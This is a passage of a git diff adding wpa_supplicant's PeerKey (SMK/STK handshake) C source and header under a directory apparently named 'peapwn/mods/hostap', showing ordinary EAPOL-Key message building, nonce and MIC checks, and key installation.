WPA_KEY_INFO_ACK; + WPA_PUT_BE16(msg->key_info, key_info); + + if (peerkey->cipher != WPA_CIPHER_TKIP) + WPA_PUT_BE16(msg->key_length, 16); + else + WPA_PUT_BE16(msg->key_length, 32); + + os_memcpy(msg->replay_counter, peerkey->replay_counter, + WPA_REPLAY_COUNTER_LEN); + inc_byte_array(peerkey->replay_counter, WPA_REPLAY_COUNTER_LEN); + + WPA_PUT_BE16(msg->key_data_length, kde_len); + wpa_add_kde((u8 *) (msg + 1), RSN_KEY_DATA_PMKID, + peerkey->smkid, PMKID_LEN); + + if (random_get_bytes(peerkey->inonce, WPA_NONCE_LEN)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "RSN: Failed to get random data for INonce (STK)"); + os_free(mbuf); + return; + } + wpa_hexdump(MSG_DEBUG, "RSN: INonce for STK 4-Way Handshake", + peerkey->inonce, WPA_NONCE_LEN); + os_memcpy(msg->key_nonce, peerkey->inonce, WPA_NONCE_LEN); + + wpa_printf(MSG_DEBUG, "RSN: Sending EAPOL-Key STK 1/4 to " MACSTR, + MAC2STR(peerkey->addr)); + wpa_eapol_key_send(sm, NULL, ver, peerkey->addr, ETH_P_EAPOL, + mbuf, mlen, NULL); +} + + +static void wpa_supplicant_send_stk_3_of_4(struct wpa_sm *sm, + struct wpa_peerkey *peerkey) +{ + size_t mlen; + struct wpa_eapol_key *msg; + u8 *mbuf, *pos; + size_t kde_len; + u16 key_info, ver; + be32 lifetime; + + kde_len = peerkey->rsnie_i_len + + 2 + RSN_SELECTOR_LEN + sizeof(lifetime); + + mbuf = wpa_sm_alloc_eapol(sm, IEEE802_1X_TYPE_EAPOL_KEY, NULL, + sizeof(*msg) + kde_len, &mlen, + (void *) &msg); + if (mbuf == NULL) + return; + + msg->type = EAPOL_KEY_TYPE_RSN; + + if (peerkey->cipher != WPA_CIPHER_TKIP) + ver = WPA_KEY_INFO_TYPE_HMAC_SHA1_AES; + else + ver = WPA_KEY_INFO_TYPE_HMAC_MD5_RC4; + + key_info = ver | WPA_KEY_INFO_KEY_TYPE | WPA_KEY_INFO_ACK | + WPA_KEY_INFO_MIC | WPA_KEY_INFO_SECURE; + WPA_PUT_BE16(msg->key_info, key_info); + + if (peerkey->cipher != WPA_CIPHER_TKIP) + WPA_PUT_BE16(msg->key_length, 16); + else + WPA_PUT_BE16(msg->key_length, 32); + + os_memcpy(msg->replay_counter, peerkey->replay_counter, + WPA_REPLAY_COUNTER_LEN); + inc_byte_array(peerkey->replay_counter, WPA_REPLAY_COUNTER_LEN); + + WPA_PUT_BE16(msg->key_data_length, kde_len); + pos = (u8 *) (msg + 1); + pos = wpa_add_ie(pos, peerkey->rsnie_i, peerkey->rsnie_i_len); + lifetime = host_to_be32(peerkey->lifetime); + wpa_add_kde(pos, RSN_KEY_DATA_LIFETIME, + (u8 *) &lifetime, sizeof(lifetime)); + + os_memcpy(msg->key_nonce, peerkey->inonce, WPA_NONCE_LEN); + + wpa_printf(MSG_DEBUG, "RSN: Sending EAPOL-Key STK 3/4 to " MACSTR, + MAC2STR(peerkey->addr)); + wpa_eapol_key_send(sm, peerkey->stk.kck, ver, peerkey->addr, + ETH_P_EAPOL, mbuf, mlen, msg->key_mic); +} + + +static int wpa_supplicant_process_smk_m4(struct wpa_peerkey *peerkey, + struct wpa_eapol_ie_parse *kde) +{ + wpa_printf(MSG_DEBUG, "RSN: Received SMK M4 (Initiator " MACSTR ")", + MAC2STR(kde->mac_addr)); + + if (os_memcmp(kde->smk + PMK_LEN, peerkey->pnonce, WPA_NONCE_LEN) != 0) + { + wpa_printf(MSG_INFO, "RSN: PNonce in SMK KDE does not " + "match with the one used in SMK M3"); + return -1; + } + + if (os_memcmp(kde->nonce, peerkey->inonce, WPA_NONCE_LEN) != 0) { + wpa_printf(MSG_INFO, "RSN: INonce in SMK M4 did not " + "match with the one received in SMK M2"); + return -1; + } + + return 0; +} + + +static int wpa_supplicant_process_smk_m5(struct wpa_sm *sm, + const unsigned char *src_addr, + const struct wpa_eapol_key *key, + int ver, + struct wpa_peerkey *peerkey, + struct wpa_eapol_ie_parse *kde) +{ + int cipher; + struct wpa_ie_data ie; + + wpa_printf(MSG_DEBUG, "RSN: Received SMK M5 (Peer " MACSTR ")", + MAC2STR(kde->mac_addr)); + if (kde->rsn_ie == NULL || kde->rsn_ie_len > PEERKEY_MAX_IE_LEN || + wpa_parse_wpa_ie_rsn(kde->rsn_ie, kde->rsn_ie_len, &ie) < 0) { + wpa_printf(MSG_INFO, "RSN: No RSN IE in SMK M5"); + /* TODO: abort negotiation */ + return -1; + } + + if (os_memcmp(key->key_nonce, peerkey->inonce, WPA_NONCE_LEN) != 0) { + wpa_printf(MSG_INFO, "RSN: Key Nonce in SMK M5 does " + "not match with INonce used in SMK M1"); + return -1; + } + + if (os_memcmp(kde->smk + PMK_LEN, peerkey->inonce, WPA_NONCE_LEN) != 0) + { + wpa_printf(MSG_INFO, "RSN: INonce in SMK KDE does not " + "match with the one used in SMK M1"); + return -1; + } + + os_memcpy(peerkey->rsnie_p, kde->rsn_ie, kde->rsn_ie_len); + peerkey->rsnie_p_len = kde->rsn_ie_len; + os_memcpy(peerkey->pnonce, kde->nonce, WPA_NONCE_LEN); + + cipher = wpa_pick_pairwise_cipher(ie.pairwise_cipher & + sm->allowed_pairwise_cipher, 0); + if (cipher < 0) { + wpa_printf(MSG_INFO, "RSN: SMK Peer STA " MACSTR " selected " + "unacceptable cipher", MAC2STR(kde->mac_addr)); + wpa_supplicant_send_smk_error(sm, src_addr, kde->mac_addr, + STK_MUI_SMK, STK_ERR_CPHR_NS, + ver); + /* TODO: abort negotiation */ + return -1; + } + wpa_printf(MSG_DEBUG, "RSN: Using %s for PeerKey", + wpa_cipher_txt(cipher)); + peerkey->cipher = cipher; + + return 0; +} + + +static int wpa_supplicant_process_smk_m45( + struct wpa_sm *sm, const unsigned char *src_addr, + const struct wpa_eapol_key *key, size_t extra_len, int ver) +{ + struct wpa_peerkey *peerkey; + struct wpa_eapol_ie_parse kde; + u32 lifetime; + struct os_time now; + + if (!sm->peerkey_enabled || sm->proto != WPA_PROTO_RSN) { + wpa_printf(MSG_DEBUG, "RSN: SMK handshake not allowed for " + "the current network"); + return -1; + } + + if (wpa_supplicant_parse_ies((const u8 *) (key + 1), extra_len, &kde) < + 0) { + wpa_printf(MSG_INFO, "RSN: Failed to parse KDEs in SMK M4/M5"); + return -1; + } + + if (kde.mac_addr == NULL || kde.mac_addr_len < ETH_ALEN || + kde.nonce == NULL || kde.nonce_len < WPA_NONCE_LEN || + kde.smk == NULL || kde.smk_len < PMK_LEN + WPA_NONCE_LEN || + kde.lifetime == NULL || kde.lifetime_len < 4) { + wpa_printf(MSG_INFO, "RSN: No MAC Address, Nonce, SMK, or " + "Lifetime KDE in SMK M4/M5"); + return -1; + } + + for (peerkey = sm->peerkey; peerkey; peerkey = peerkey->next) { + if (os_memcmp(peerkey->addr, kde.mac_addr, ETH_ALEN) == 0 && + os_memcmp(peerkey->initiator ? peerkey->inonce : + peerkey->pnonce, + key->key_nonce, WPA_NONCE_LEN) == 0) + break; + } + if (peerkey == NULL) { + wpa_printf(MSG_INFO, "RSN: No matching SMK handshake found " + "for SMK M4/M5: peer " MACSTR, + MAC2STR(kde.mac_addr)); + return -1; + } + + if (peerkey->initiator) { + if (wpa_supplicant_process_smk_m5(sm, src_addr, key, ver, + peerkey, &kde) < 0) + return -1; + } else { + if (wpa_supplicant_process_smk_m4(peerkey, &kde) < 0) + return -1; + } + + os_memcpy(peerkey->smk, kde.smk, PMK_LEN); + peerkey->smk_complete = 1; + wpa_hexdump_key(MSG_DEBUG, "RSN: SMK", peerkey->smk, PMK_LEN); + lifetime = WPA_GET_BE32(kde.lifetime); + wpa_printf(MSG_DEBUG, "RSN: SMK lifetime %u seconds", lifetime); + if (lifetime > 1000000000) + lifetime = 1000000000; /* avoid overflowing expiration time */ + peerkey->lifetime = lifetime; + os_get_time(&now); + peerkey->expiration = now.sec + lifetime; + eloop_register_timeout(lifetime, 0, wpa_supplicant_smk_timeout, + sm, peerkey); + + if (peerkey->initiator) { + rsn_smkid(peerkey->smk, peerkey->pnonce, peerkey->addr, + peerkey->inonce, sm->own_addr, peerkey->smkid, + peerkey->use_sha256); + wpa_supplicant_send_stk_1_of_4(sm, peerkey); + } else { + rsn_smkid(peerkey->smk, peerkey->pnonce, sm->own_addr, + peerkey->inonce, peerkey->addr, peerkey->smkid, + peerkey->use_sha256); + } + wpa_hexdump(MSG_DEBUG, "RSN: SMKID", peerkey->smkid, PMKID_LEN); + + return 0; +} + + +static int wpa_supplicant_process_smk_error( + struct wpa_sm *sm, const unsigned char *src_addr, + const struct wpa_eapol_key *key, size_t extra_len) +{ + struct wpa_eapol_ie_parse kde; + struct rsn_error_kde error; + u8 peer[ETH_ALEN]; + u16 error_type; + + wpa_printf(MSG_DEBUG, "RSN: Received SMK Error"); + + if (!sm->peerkey_enabled || sm->proto != WPA_PROTO_RSN) { + wpa_printf(MSG_DEBUG, "RSN: SMK handshake not allowed for " + "the current network"); + return -1; + } + + if (wpa_supplicant_parse_ies((const u8 *) (key + 1), extra_len, &kde) < + 0) { + wpa_printf(MSG_INFO, "RSN: Failed to parse KDEs in SMK Error"); + return -1; + } + + if (kde.error == NULL || kde.error_len < sizeof(error)) { + wpa_printf(MSG_INFO, "RSN: No Error KDE in SMK Error"); + return -1; + } + + if (kde.mac_addr && kde.mac_addr_len >= ETH_ALEN) + os_memcpy(peer, kde.mac_addr, ETH_ALEN); + else + os_memset(peer, 0, ETH_ALEN); + os_memcpy(&error, kde.error, sizeof(error)); + error_type = be_to_host16(error.error_type); + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "RSN: SMK Error KDE received: MUI %d error_type %d peer " + MACSTR, + be_to_host16(error.mui), error_type, + MAC2STR(peer)); + + if (kde.mac_addr && + (error_type == STK_ERR_STA_NR || error_type == STK_ERR_STA_NRSN || + error_type == STK_ERR_CPHR_NS)) { + struct wpa_peerkey *peerkey; + + for (peerkey = sm->peerkey; peerkey; peerkey = peerkey->next) { + if (os_memcmp(peerkey->addr, kde.mac_addr, ETH_ALEN) == + 0) + break; + } + if (peerkey == NULL) { + wpa_printf(MSG_DEBUG, "RSN: No matching SMK handshake " + "found for SMK Error"); + return -1; + } + /* TODO: abort SMK/STK handshake and remove all related keys */ + } + + return 0; +} + + +static void wpa_supplicant_process_stk_1_of_4(struct wpa_sm *sm, + struct wpa_peerkey *peerkey, + const struct wpa_eapol_key *key, + u16 ver) +{ + struct wpa_eapol_ie_parse ie; + const u8 *kde; + size_t len, kde_buf_len; + struct wpa_ptk *stk; + u8 buf[8], *kde_buf, *pos; + be32 lifetime; + + wpa_printf(MSG_DEBUG, "RSN: RX message 1 of STK 4-Way Handshake from " + MACSTR " (ver=%d)", MAC2STR(peerkey->addr), ver); + + os_memset(&ie, 0, sizeof(ie)); + + /* RSN: msg 1/4 should contain SMKID for the selected SMK */ + kde = (const u8 *) (key + 1); + len = WPA_GET_BE16(key->key_data_length); + wpa_hexdump(MSG_DEBUG, "RSN: msg 1/4 key data", kde, len); + if (wpa_supplicant_parse_ies(kde, len, &ie) < 0 || ie.pmkid == NULL) { + wpa_printf(MSG_DEBUG, "RSN: No SMKID in STK 1/4"); + return; + } + if (os_memcmp(ie.pmkid, peerkey->smkid, PMKID_LEN) != 0) { + wpa_hexdump(MSG_DEBUG, "RSN: Unknown SMKID in STK 1/4", + ie.pmkid, PMKID_LEN); + return; + } + + if (random_get_bytes(peerkey->pnonce, WPA_NONCE_LEN)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "RSN: Failed to get random data for PNonce"); + return; + } + wpa_hexdump(MSG_DEBUG, "WPA: Renewed PNonce", + peerkey->pnonce, WPA_NONCE_LEN); + + /* Calculate STK which will be stored as a temporary STK until it has + * been verified when processing message 3/4. */ + stk = &peerkey->tstk; + wpa_pmk_to_ptk(peerkey->smk, PMK_LEN, "Peer key expansion", + sm->own_addr, peerkey->addr, + peerkey->pnonce, key->key_nonce, + (u8 *) stk, sizeof(*stk), + peerkey->use_sha256); + /* Supplicant: swap tx/rx Mic keys */ + os_memcpy(buf, stk->u.auth.tx_mic_key, 8); + os_memcpy(stk->u.auth.tx_mic_key, stk->u.auth.rx_mic_key, 8); + os_memcpy(stk->u.auth.rx_mic_key, buf, 8); + peerkey->tstk_set = 1; + + kde_buf_len = peerkey->rsnie_p_len + + 2 + RSN_SELECTOR_LEN + sizeof(lifetime) + + 2 + RSN_SELECTOR_LEN + PMKID_LEN; + kde_buf = os_malloc(kde_buf_len); + if (kde_buf == NULL) + return; + pos = kde_buf; + pos = wpa_add_ie(pos, peerkey->rsnie_p, peerkey->rsnie_p_len); + lifetime = host_to_be32(peerkey->lifetime); + pos = wpa_add_kde(pos, RSN_KEY_DATA_LIFETIME, + (u8 *) &lifetime, sizeof(lifetime)); + wpa_add_kde(pos, RSN_KEY_DATA_PMKID, peerkey->smkid, PMKID_LEN); + + if (wpa_supplicant_send_2_of_4(sm, peerkey->addr, key, ver, + peerkey->pnonce, kde_buf, kde_buf_len, + stk)) { + os_free(kde_buf); + return; + } + os_free(kde_buf); + + os_memcpy(peerkey->inonce, key->key_nonce, WPA_NONCE_LEN); +} + + +static void wpa_supplicant_update_smk_lifetime(struct wpa_sm *sm, + struct wpa_peerkey *peerkey, + struct wpa_eapol_ie_parse *kde) +{ + u32 lifetime; + struct os_time now; + + if (kde->lifetime == NULL || kde->lifetime_len < sizeof(lifetime)) + return; + + lifetime = WPA_GET_BE32(kde->lifetime); + + if (lifetime >= peerkey->lifetime) { + wpa_printf(MSG_DEBUG, "RSN: Peer used SMK lifetime %u seconds " + "which is larger than or equal to own value %u " + "seconds - ignored", lifetime, peerkey->lifetime); + return; + } + + wpa_printf(MSG_DEBUG, "RSN: Peer used shorter SMK lifetime %u seconds " + "(own was %u seconds) - updated", + lifetime, peerkey->lifetime); + peerkey->lifetime = lifetime; + + os_get_time(&now); + peerkey->expiration = now.sec + lifetime; + eloop_cancel_timeout(wpa_supplicant_smk_timeout, sm, peerkey); + eloop_register_timeout(lifetime, 0, wpa_supplicant_smk_timeout, + sm, peerkey); +} + + +static void wpa_supplicant_process_stk_2_of_4(struct wpa_sm *sm, + struct wpa_peerkey *peerkey, + const struct wpa_eapol_key *key, + u16 ver) +{ + struct wpa_eapol_ie_parse kde; + const u8 *keydata; + size_t len; + + wpa_printf(MSG_DEBUG, "RSN: RX message 2 of STK 4-Way Handshake from " + MACSTR " (ver=%d)", MAC2STR(peerkey->addr), ver); + + os_memset(&kde, 0, sizeof(kde)); + + /* RSN: msg 2/4 should contain SMKID for the selected SMK and RSN IE + * from the peer. It may also include Lifetime KDE. */ + keydata = (const u8 *) (key + 1); + len = WPA_GET_BE16(key->key_data_length); + wpa_hexdump(MSG_DEBUG, "RSN: msg 2/4 key data", keydata, len); + if (wpa_supplicant_parse_ies(keydata, len, &kde) < 0 || + kde.pmkid == NULL || kde.rsn_ie == NULL) { + wpa_printf(MSG_DEBUG, "RSN: No SMKID or RSN IE in STK 2/4"); + return; + } + + if (os_memcmp(kde.pmkid, peerkey->smkid, PMKID_LEN) != 0) { + wpa_hexdump(MSG_DEBUG, "RSN: Unknown SMKID in STK 2/4", + kde.pmkid, PMKID_LEN); + return; + } + + if (kde.rsn_ie_len != peerkey->rsnie_p_len || + os_memcmp(kde.rsn_ie, peerkey->rsnie_p, kde.rsn_ie_len) != 0) { + wpa_printf(MSG_INFO, "RSN: Peer RSN IE in SMK and STK " + "handshakes did not match"); + wpa_hexdump(MSG_DEBUG, "RSN: Peer RSN IE in SMK handshake", + peerkey->rsnie_p, peerkey->rsnie_p_len); + wpa_hexdump(MSG_DEBUG, "RSN: Peer RSN IE in STK handshake", + kde.rsn_ie, kde.rsn_ie_len); + return; + } + + wpa_supplicant_update_smk_lifetime(sm, peerkey, &kde); + + wpa_supplicant_send_stk_3_of_4(sm, peerkey); + os_memcpy(peerkey->pnonce, key->key_nonce, WPA_NONCE_LEN); +} + + +static void wpa_supplicant_process_stk_3_of_4(struct wpa_sm *sm, + struct wpa_peerkey *peerkey, + const struct wpa_eapol_key *key, + u16 ver) +{ + struct wpa_eapol_ie_parse kde; + const u8 *keydata; + size_t len, key_len; + const u8 *_key; + u8 key_buf[32], rsc[6]; + + wpa_printf(MSG_DEBUG, "RSN: RX message 3 of STK 4-Way Handshake from " + MACSTR " (ver=%d)", MAC2STR(peerkey->addr), ver); + + os_memset(&kde, 0, sizeof(kde)); + + /* RSN: msg 3/4 should contain Initiator RSN IE. It may also include + * Lifetime KDE. */ + keydata = (const u8 *) (key + 1); + len = WPA_GET_BE16(key->key_data_length); + wpa_hexdump(MSG_DEBUG, "RSN: msg 3/4 key data", keydata, len); + if (wpa_supplicant_parse_ies(keydata, len, &kde) < 0) { + wpa_printf(MSG_DEBUG, "RSN: Failed to parse key data in " + "STK 3/4"); + return; + } + + if (kde.rsn_ie_len != peerkey->rsnie_i_len || + os_memcmp(kde.rsn_ie, peerkey->rsnie_i, kde.rsn_ie_len) != 0) { + wpa_printf(MSG_INFO, "RSN: Initiator RSN IE in SMK and STK " + "handshakes did not match"); + wpa_hexdump(MSG_DEBUG, "RSN: Initiator RSN IE in SMK " + "handshake", + peerkey->rsnie_i, peerkey->rsnie_i_len); + wpa_hexdump(MSG_DEBUG, "RSN: Initiator RSN IE in STK " + "handshake", + kde.rsn_ie, kde.rsn_ie_len); + return; + } + + if (os_memcmp(peerkey->inonce, key->key_nonce, WPA_NONCE_LEN) != 0) { + wpa_printf(MSG_WARNING, "RSN: INonce from message 1 of STK " + "4-Way Handshake differs from 3 of STK 4-Way " + "Handshake - drop packet (src=" MACSTR ")", + MAC2STR(peerkey->addr)); + return; + } + + wpa_supplicant_update_smk_lifetime(sm, peerkey, &kde); + + if (wpa_supplicant_send_4_of_4(sm, peerkey->addr, key, ver, + WPA_GET_BE16(key->key_info), + NULL, 0, &peerkey->stk)) + return; + + _key = (u8 *) peerkey->stk.tk1; + if (peerkey->cipher == WPA_CIPHER_TKIP) { + /* Swap Tx/Rx keys for Michael MIC */ + os_memcpy(key_buf, _key, 16); + os_memcpy(key_buf + 16, peerkey->stk.u.auth.rx_mic_key, 8); + os_memcpy(key_buf + 24, peerkey->stk.u.auth.tx_mic_key, 8); + _key = key_buf; + key_len = 32; + } else + key_len = 16; + + os_memset(rsc, 0, 6); + if (wpa_sm_set_key(sm, peerkey->cipher, peerkey->addr, 0, 1, + rsc, sizeof(rsc), _key, key_len) < 0) { + wpa_printf(MSG_WARNING, "RSN: Failed to set STK to the " + "driver."); + return; + } +} + + +static void wpa_supplicant_process_stk_4_of_4(struct wpa_sm *sm, + struct wpa_peerkey *peerkey, + const struct wpa_eapol_key *key, + u16 ver) +{ + u8 rsc[6]; + + wpa_printf(MSG_DEBUG, "RSN: RX message 4 of STK 4-Way Handshake from " + MACSTR " (ver=%d)", MAC2STR(peerkey->addr), ver); + + os_memset(rsc, 0, 6); + if (wpa_sm_set_key(sm, peerkey->cipher, peerkey->addr, 0, 1, + rsc, sizeof(rsc), (u8 *) peerkey->stk.tk1, + peerkey->cipher == WPA_CIPHER_TKIP ? 32 : 16) < 0) { + wpa_printf(MSG_WARNING, "RSN: Failed to set STK to the " + "driver."); + return; + } +} + + +/** + * peerkey_verify_eapol_key_mic - Verify PeerKey MIC + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @peerkey: Pointer to the PeerKey data for the peer + * @key: Pointer to the EAPOL-Key frame header + * @ver: Version bits from EAPOL-Key Key Info + * @buf: Pointer to the beginning of EAPOL-Key frame + * @len: Length of the EAPOL-Key frame + * Returns: 0 on success, -1 on failure + */ +int peerkey_verify_eapol_key_mic(struct wpa_sm *sm, + struct wpa_peerkey *peerkey, + struct wpa_eapol_key *key, u16 ver, + const u8 *buf, size_t len) +{ + u8 mic[16]; + int ok = 0; + + if (peerkey->initiator && !peerkey->stk_set) { + wpa_pmk_to_ptk(peerkey->smk, PMK_LEN, "Peer key expansion", + sm->own_addr, peerkey->addr, + peerkey->inonce, key->key_nonce, + (u8 *) &peerkey->stk, sizeof(peerkey->stk), + peerkey->use_sha256); + peerkey->stk_set = 1; + } + + os_memcpy(mic, key->key_mic, 16); + if (peerkey->tstk_set) { + os_memset(key->key_mic, 0, 16); + wpa_eapol_key_mic(peerkey->tstk.kck, ver, buf, len, + key->key_mic); + if (os_memcmp(mic, key->key_mic, 16) != 0) { + wpa_printf(MSG_WARNING, "RSN: Invalid EAPOL-Key MIC " + "when using TSTK - ignoring TSTK"); + } else { + ok = 1; + peerkey->tstk_set = 0; + peerkey->stk_set = 1; + os_memcpy(&peerkey->stk, &peerkey->tstk, + sizeof(peerkey->stk)); + } + } + + if (!ok && peerkey->stk_set) { + os_memset(key->key_mic, 0, 16); + wpa_eapol_key_mic(peerkey->stk.kck, ver, buf, len, + key->key_mic); + if (os_memcmp(mic, key->key_mic, 16) != 0) { + wpa_printf(MSG_WARNING, "RSN: Invalid EAPOL-Key MIC " + "- dropping packet"); + return -1; + } + ok = 1; + } + + if (!ok) { + wpa_printf(MSG_WARNING, "RSN: Could not verify EAPOL-Key MIC " + "- dropping packet"); + return -1; + } + + os_memcpy(peerkey->replay_counter, key->replay_counter, + WPA_REPLAY_COUNTER_LEN); + peerkey->replay_counter_set = 1; + return 0; +} + + +/** + * wpa_sm_stkstart - Send EAPOL-Key Request for STK handshake (STK M1) + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @peer: MAC address of the peer STA + * Returns: 0 on success, or -1 on failure + * + * Send an EAPOL-Key Request to the current authenticator to start STK + * handshake with the peer. + */ +int wpa_sm_stkstart(struct wpa_sm *sm, const u8 *peer) +{ + size_t rlen, kde_len; + struct wpa_eapol_key *req; + int key_info, ver; + u8 bssid[ETH_ALEN], *rbuf, *pos, *count_pos; + u16 count; + struct rsn_ie_hdr *hdr; + struct wpa_peerkey *peerkey; + struct wpa_ie_data ie; + + if (sm->proto != WPA_PROTO_RSN || !sm->ptk_set || !sm->peerkey_enabled) + return -1; + + if (sm->ap_rsn_ie && + wpa_parse_wpa_ie_rsn(sm->ap_rsn_ie, sm->ap_rsn_ie_len, &ie) == 0 && + !(ie.capabilities & WPA_CAPABILITY_PEERKEY_ENABLED)) { + wpa_printf(MSG_DEBUG, "RSN: Current AP does not support STK"); + return -1; + } + + if (sm->pairwise_cipher != WPA_CIPHER_TKIP) + ver = WPA_KEY_INFO_TYPE_HMAC_SHA1_AES; + else + ver = WPA_KEY_INFO_TYPE_HMAC_MD5_RC4; + + if (wpa_sm_get_bssid(sm, bssid) < 0) { + wpa_printf(MSG_WARNING, "Failed to read BSSID for EAPOL-Key " + "SMK M1"); + return -1; + } + + /* TODO: find existing entry and if found, use that instead of adding + * a new one */ + peerkey = os_zalloc(sizeof(*peerkey)); + if (peerkey == NULL) + return -1; + peerkey->initiator = 1; + os_memcpy(peerkey->addr, peer, ETH_ALEN); +#ifdef CONFIG_IEEE80211W + if (wpa_key_mgmt_sha256(sm->key_mgmt)) + peerkey->use_sha256 = 1; +#endif /* CONFIG_IEEE80211W */ + + /* SMK M1: + * EAPOL-Key(S=1, M=1, A=0, I=0, K=0, SM=1, KeyRSC=0, Nonce=INonce, + * MIC=MIC, DataKDs=(RSNIE_I, MAC_P KDE)) + */ + + hdr = (struct rsn_ie_hdr *) peerkey->rsnie_i; + hdr->elem_id = WLAN_EID_RSN; + WPA_PUT_LE16(hdr->version, RSN_VERSION); + pos = (u8 *) (hdr + 1); + /* Group Suite can be anything for SMK RSN IE; receiver will just + * ignore it. */ + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_CCMP); + pos += RSN_SELECTOR_LEN; + count_pos = pos; + pos += 2; + + count = rsn_cipher_put_suites(pos, sm->allowed_pairwise_cipher); + pos += count * RSN_SELECTOR_LEN; + WPA_PUT_LE16(count_pos, count); + + hdr->len = (pos - peerkey->rsnie_i) - 2; + peerkey->rsnie_i_len = pos - peerkey->rsnie_i; + wpa_hexdump(MSG_DEBUG, "WPA: RSN IE for SMK handshake", + peerkey->rsnie_i, peerkey->rsnie_i_len); + + kde_len = peerkey->rsnie_i_len + 2 + RSN_SELECTOR_LEN + ETH_ALEN; + + rbuf = wpa_sm_alloc_eapol(sm, IEEE802_1X_TYPE_EAPOL_KEY, NULL, + sizeof(*req) + kde_len, &rlen, + (void *) &req); + if (rbuf == NULL) { + wpa_supplicant_peerkey_free(sm, peerkey); + return -1; + } + + req->type = EAPOL_KEY_TYPE_RSN; + key_info = WPA_KEY_INFO_SMK_MESSAGE | WPA_KEY_INFO_MIC | + WPA_KEY_INFO_SECURE | WPA_KEY_INFO_REQUEST | ver; + WPA_PUT_BE16(req->key_info, key_info); + WPA_PUT_BE16(req->key_length, 0); + os_memcpy(req->replay_counter, sm->request_counter, + WPA_REPLAY_COUNTER_LEN); + inc_byte_array(sm->request_counter, WPA_REPLAY_COUNTER_LEN); + + if (random_get_bytes(peerkey->inonce, WPA_NONCE_LEN)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Failed to get random data for INonce"); + os_free(rbuf); + wpa_supplicant_peerkey_free(sm, peerkey); + return -1; + } + os_memcpy(req->key_nonce, peerkey->inonce, WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "WPA: INonce for SMK handshake", + req->key_nonce, WPA_NONCE_LEN); + + WPA_PUT_BE16(req->key_data_length, (u16) kde_len); + pos = (u8 *) (req + 1); + + /* Initiator RSN IE */ + pos = wpa_add_ie(pos, peerkey->rsnie_i, peerkey->rsnie_i_len); + /* Peer MAC address KDE */ + wpa_add_kde(pos, RSN_KEY_DATA_MAC_ADDR, peer, ETH_ALEN); + + wpa_printf(MSG_INFO, "RSN: Sending EAPOL-Key SMK M1 Request (peer " + MACSTR ")", MAC2STR(peer)); + wpa_eapol_key_send(sm, sm->ptk.kck, ver, bssid, ETH_P_EAPOL, + rbuf, rlen, req->key_mic); + + peerkey->next = sm->peerkey; + sm->peerkey = peerkey; + + return 0; +} + + +/** + * peerkey_deinit - Free PeerKey values + * @sm: Pointer to WPA state machine data from wpa_sm_init() + */ +void peerkey_deinit(struct wpa_sm *sm) +{ + struct wpa_peerkey *prev, *peerkey = sm->peerkey; + while (peerkey) { + prev = peerkey; + peerkey = peerkey->next; + os_free(prev); + } + sm->peerkey = NULL; +} + + +void peerkey_rx_eapol_4way(struct wpa_sm *sm, struct wpa_peerkey *peerkey, + struct wpa_eapol_key *key, u16 key_info, u16 ver) +{ + if ((key_info & (WPA_KEY_INFO_MIC | WPA_KEY_INFO_ACK)) == + (WPA_KEY_INFO_MIC | WPA_KEY_INFO_ACK)) { + /* 3/4 STK 4-Way Handshake */ + wpa_supplicant_process_stk_3_of_4(sm, peerkey, key, ver); + } else if (key_info & WPA_KEY_INFO_ACK) { + /* 1/4 STK 4-Way Handshake */ + wpa_supplicant_process_stk_1_of_4(sm, peerkey, key, ver); + } else if (key_info & WPA_KEY_INFO_SECURE) { + /* 4/4 STK 4-Way Handshake */ + wpa_supplicant_process_stk_4_of_4(sm, peerkey, key, ver); + } else { + /* 2/4 STK 4-Way Handshake */ + wpa_supplicant_process_stk_2_of_4(sm, peerkey, key, ver); + } +} + + +void peerkey_rx_eapol_smk(struct wpa_sm *sm, const u8 *src_addr, + struct wpa_eapol_key *key, size_t extra_len, + u16 key_info, u16 ver) +{ + if (key_info & WPA_KEY_INFO_ERROR) { + /* SMK Error */ + wpa_supplicant_process_smk_error(sm, src_addr, key, extra_len); + } else if (key_info & WPA_KEY_INFO_ACK) { + /* SMK M2 */ + wpa_supplicant_process_smk_m2(sm, src_addr, key, extra_len, + ver); + } else { + /* SMK M4 or M5 */ + wpa_supplicant_process_smk_m45(sm, src_addr, key, extra_len, + ver); + } +} + +#endif /* CONFIG_PEERKEY */ diff --git a/peapwn/mods/hostap/src/rsn_supp/peerkey.h b/peapwn/mods/hostap/src/rsn_supp/peerkey.h new file mode 100644 index 000000000..b8845f710 --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/peerkey.h @@ -0,0 +1,81 @@ +/* + * WPA Supplicant - PeerKey for Direct Link Setup (DLS) + * Copyright (c) 2006-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PEERKEY_H +#define PEERKEY_H + +#define PEERKEY_MAX_IE_LEN 80 +struct wpa_peerkey { + struct wpa_peerkey *next; + int initiator; /* whether this end was initator for SMK handshake */ + u8 addr[ETH_ALEN]; /* other end MAC address */ + u8 inonce[WPA_NONCE_LEN]; /* Initiator Nonce */ + u8 pnonce[WPA_NONCE_LEN]; /* Peer Nonce */ + u8 rsnie_i[PEERKEY_MAX_IE_LEN]; /* Initiator RSN IE */ + size_t rsnie_i_len; + u8 rsnie_p[PEERKEY_MAX_IE_LEN]; /* Peer RSN IE */ + size_t rsnie_p_len; + u8 smk[PMK_LEN]; + int smk_complete; + u8 smkid[PMKID_LEN]; + u32 lifetime; + os_time_t expiration; + int cipher; /* Selected cipher (WPA_CIPHER_*) */ + u8 replay_counter[WPA_REPLAY_COUNTER_LEN]; + int replay_counter_set; + int use_sha256; /* whether AKMP indicate SHA256-based derivations */ + + struct wpa_ptk stk, tstk; + int stk_set, tstk_set; +}; + + +#ifdef CONFIG_PEERKEY + +int peerkey_verify_eapol_key_mic(struct wpa_sm *sm, + struct wpa_peerkey *peerkey, + struct wpa_eapol_key *key, u16 ver, + const u8 *buf, size_t len); +void peerkey_rx_eapol_4way(struct wpa_sm *sm, struct wpa_peerkey *peerkey, + struct wpa_eapol_key *key, u16 key_info, u16 ver); +void 